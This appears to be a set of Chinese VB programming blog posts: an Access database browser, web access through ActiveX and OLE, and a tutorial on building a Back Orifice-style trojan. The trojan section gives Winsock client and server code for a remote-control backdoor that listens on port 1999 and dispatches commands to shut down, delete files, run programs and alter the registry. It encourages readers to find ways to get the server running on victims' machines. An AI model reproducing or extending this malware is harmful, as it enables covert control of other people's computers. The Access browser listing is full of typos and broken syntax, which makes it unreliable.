4.Run你的程序,您是不是看到了象“金山词霸”一样的功能?相信你此时的感觉一定特别“爽”!
API的世界j是丰富多彩的,只要你肯细心地去探索它你一定会获得许多意想不到的好东西。所以笔者觉得定值得每一个具有“好奇”精神的人去探索它。后续的期刊笔者会向读者详细介绍一些更好更“牛”的API调用。
Tags: VB编程
Microsoft Access是Visual Basic最常用的数据库,但Visual Basic没有提供类似Foxpro for Windows的BROWS命令的函数来浏览Access数据库。本程序提供了一种类似BROWS命令界面浏览Access数据库的方法,感兴趣的读者可以把这个程序改写为带参数(数据库名、表名、字段名、字段宽度等)的子程序,实现类似Foxpro for windows的BROWS 命令的功能,在自己的应用程序中调用。
首先,在窗口中定义一个网格(gridl)、一个列表框(list1)、一个普通对话框(dlg)、一个数据察觉项(datal)、两个命令按钮(command1和command2),排好位置。
程序执行时,按“打开”按钮打开一个对话框,选定数据库文件后程序在列表框中显示数据库包含的表名,单击列表框中的表名即可浏览该表。本程序可自动根据字段长度和字体大小设置浏览区的大小,以保证浏览区不会超出窗口。如果窗口满足不了浏览区,程序自动给浏览区加水平或竖直滚动条。附程序清单:
1 Sub Command1_Click() ’鼠标器点“打开”键
2 Dim, I As Integer,cunt As Integer
3 grid1.Visible=False
4 dlg.Filename=""
5 dlg.Filter="Access(*.MDB)|*.MDB"
6 dlg.FilterIndex=1
7 dlg.Action=1 ’打开对话框
8 If dlg.Filename=""Then ’如果未选定文件
9 GoTo canc
10 End If
11 datal.Connect=""
12 datal.DatabaseName=dlg.Filename
13 datal.RecordSource=""
14 datal.Refresh
15 browser.Caption="Access浏览器["+datal.DatabaseName+"]"
16 cunt=datal.Database.TableDefs.Count
17 listl.Clear
18 For I=0 To cunt-1 ’将表名加入到列表框
19 If Left(datal.Database.TableDefs(I).Name,4) <>"Msys"Then
20 listl.Additem datal.Database.TableDefs(I).Name
21 End If
22 Next I
23 label1.Visible=True
24 list1.Visible=True
25 list1.ListIndex=0
26 canc:
27 End Sub
28 Sub Command2_Click() ’鼠标器点“退出”键
29 End
30 End Sub
31 Sub Form_Load()
32 browser.Caption="Access浏览器"
33 grid1.Height=3200
34 grid1.Visibli=False
35 list1.Visible=False
36 label1.Visible=False
37 End Sub
38 Sub Listl_Click() ’鼠标器点列表框
39 Dim ct As Integer
40 data1.RecordSource=listl.Text
41 ct=data1.Database.TableDefs(list1.ListIndex).Fields.Count
42 grid1.Cols=ct
43 grid1.Row=0
44 For I=0 To ct-1 ’将表中各字段名加到网格第一行
45 grid1.Col=I
46 grid1.Text=data1.Database(data1.RecordSource),Fields(I).Name
47 Nexti
48 data1.Refresh
49 data1.Recordset.MoveLast
50 grid1.Rows=data1.Recordset.RecordCount+1
51 data1.Recordset.MoveFirst
52 grid1.Row=0
53 While Not data1.Recordset.EOF ’将数据读入网格各单元
54 grid1.Row=grid1.Row+1
55 Fori=0 To ct-1
56 grid1.Col=I
57 If Not Is Null(datal.Recordset(I).Value)Then
58 grid1.Text=datal.Recordset(I).Value
59 Else
60 grid1.Text=""
61 End If
62 cellwidth=TextWidth(grid1.Text)+200
63 If cellwidth >grid1.ColWidth(I)Then
64 gridl.ColWidth(I)=cellwidth
65 End If
66 Next I
67 data1.Recordset.MoveNext
68 Wend
69 grid1.Width=0
70 Fori=0 To ct-1’计算网格总宽度
71 grid1.Width=gridl.Width+gridl.ColWidth(I)
72 Next I
73 If grid1.Width > scalewidth Then ’如果网格总宽度大于窗口宽度
74 grid1.Width=scalewidth
75 End If
76 grid1.Height=(gridl.Rows+2)*20*grid1.FontSize ’计算网格长度
77 If grid1.Height >3200 Then ’如网格长度出界
78 grid1.Height=3200
79 End If
80 browser.Width=grid1.Width+300 ’设置窗口宽度
81 grid1.Visible=True
82 End Sub
Tags: VB编程
当前,有许多构造模块可以帮助用户创建名为超客户端(rich client)的Internet应用, 其中包括Visual Basic(以下简称VB)的ActiveX控件集合。它们可以提供SMTP和POP邮件服务、FTP、Newsgroup和Web访问等功能。另外,利用OLE也可以实现Web访问的自动化。本文向大家介绍这两种方法。
在应用中嵌入Active X控件
利用Crescent的Internet Toolpak(Internet 工具包)符合HTTP协议的控件,可以将VB应用连接到Web站点,向站点传送数据,并从站点获取HTML页面。Crescent HTTP控件不能实际显示出下载的HTML页面,但能使应用程序以字符串的形式使用页面数据。例如,如果服务器产生一个名叫Myresult.html的HTML文件答复来自客户端的请求,客户端应用能够通过与服务器建立的Crescent Active X连接来获取并下载这个文件。建立连接的代码段如下:
CIHTTP1.HostName="myresult.myhost.com"CIHTTP1.URL="results\myresult.html"CI HTTP.ParseIncomingData = TrueCIHTTP1.ConnectToServer一旦Active X控件与服务器建立连接,它就会触发HTTPServerConnection事件。这时,应用程序发出命令CIHTTP1.GET,检索U RL属性中指定的页面,然后该控件激活FileClosed事件取回指定的页面。应用程序通过Acti ve X的属性HTMLPageText WithTags(主页不嵌有HTML代码时用属性HTMLPageTextWithOutTa gs)读页面文本。代码如下:
mytext= CIHTTP1. HTMLPageTextWithTags如果不想用控件下载整个主页,可以通过控件的PacketReceived事件的Packet参数快速扫描页面数据。每当控件接受到服务器的数据后都会激活PacketReceived事件。
另外,客户端应用还可以使用HTTP控件提取来自标准浏览器的Web页面数据。例如,Acti veX控件在幕后与Web建立连接并下载正在发布的页面,让传统的客户端应用不断接收最新We b信息,更改原有内容。
为进一步简化处理,在ActiveX控件与Web页面相连之前需设置好属性。Crescent的HTTP 控件还可以把下载页面的URL地址、图像文件的地址和所有HTML命令文件分别添加到指定的三个列表框中。
用OLE实现Web访问的自动化
除了ActiveX控件以外,还有一种方法可以实现应用程序与Web的交互自动化,这就是OLE 自动化,即利用OLE Automation建立传统应用,再通过浏览器的OLE Automation服务器接口进行自动Web连接。Netscape Navigator 和Microsoft Internet Explorer 3.0 以上版本都支持OLE Automation。
Netscape Navigator的OLE Automation接口是专为这一目的而设计的。例如,通过OLE Automation接口让Navigator打开一个Web页面,它不会在自身的浏览器窗口中显示这个页面 ,而是下载该页面的内容,复制到服务器对象的数据缓冲区中,让客户端的应用程序去访问这些内容。
例如,假设需要Navigator在Excel中打开一个Web页面,首先必须使用Excel的"引用"对话框引用Navigator程序目录中的Netscape.TLB库,然后把Navigator对象作为一个实例,并完成打开页面的功能。代码如下:
Dim Nav as Object, result as BooleanDim url$Const urlGet=0Const urlPost=1ur l$=http://www.microsoft.com/indev/default.htmset Nav=CreatObject("netscape.netw ork")result=Nav.Open(url$,urlGet,",",0," ")如果自动化对象的属性IsFinished设置为 True,就可以通过对象缓冲区仔细处理页面中的内容。
Tags: VB编程
BO又称“特洛伊木马”, 是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。
—- 使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。
—- 在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下: [code]Private Sub cmdConnect_Click()
If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
MsgBox ("请输入主机名或主机IP地址。")
Exit Sub
Else
If Len(Text1.Text) > 0 Then
tcpClient.RemoteHost = Text1.Text
Else
tcpClient.RemoteHost = Text2.Text
End If
End If
tcpClient.Connect
Timer1.Enabled = True
End Sub [/code]
—- 连接建立之后就可以使用DataArrival事件处理所收到的数据了。
—- 在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:
[code]Private Sub Form_Load()
tcpServer.LocalPort = 1999
tcpServer.Listen
End Sub [/code]
—- 准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:
[code]Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
If tcpServer.State < > sckClosed Then
tcpServer.Close‘检查控件的 State 属性是否为关闭的。
End If '如果不是,在接受新的连接之前先关闭此连接。
tcpServer.Accept requestID
End Sub [/code]
—- 这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。
—- 建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:
[code]Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)
Dim strData As String
Dim I As Long
Dim mKey As String
tcpServer.GetData strData
‘接收数据并存入strData
For I = 1 To Len(strData)
‘分离strData中的命令
If Mid(strData, I, 1) = "@" Then
mKey = Left(strData, I - 1)
‘把命令ID号存入mKey
‘把命令参数存入strData
strData = Right(strData, Len(strData) - I)
Exit For
End If
Next I
Select Case Val(mKey)
Case 1
‘驱动器名、目录名、文件名
Case 2
强制关闭服务器端的计算机
Case 3
强制重启服务器端的计算机
Case 4
屏蔽任务栏窗口;
Case 5
屏蔽开始菜单;
Case 6
按照客户机端传过来的文件名或目录名,而删除它;
Case 7
屏蔽热启动键;
Case 8
运行服务器端的任何程序
End Select
End Sub [/code]
详细程序略。
—- 客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。
—- 另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:
[code]Private Sub tcpServer_Close()
tcpServer.Close
tcpServer.Listen
End Sub [/code]
—- 这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
—- 成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。
Tags: VB编程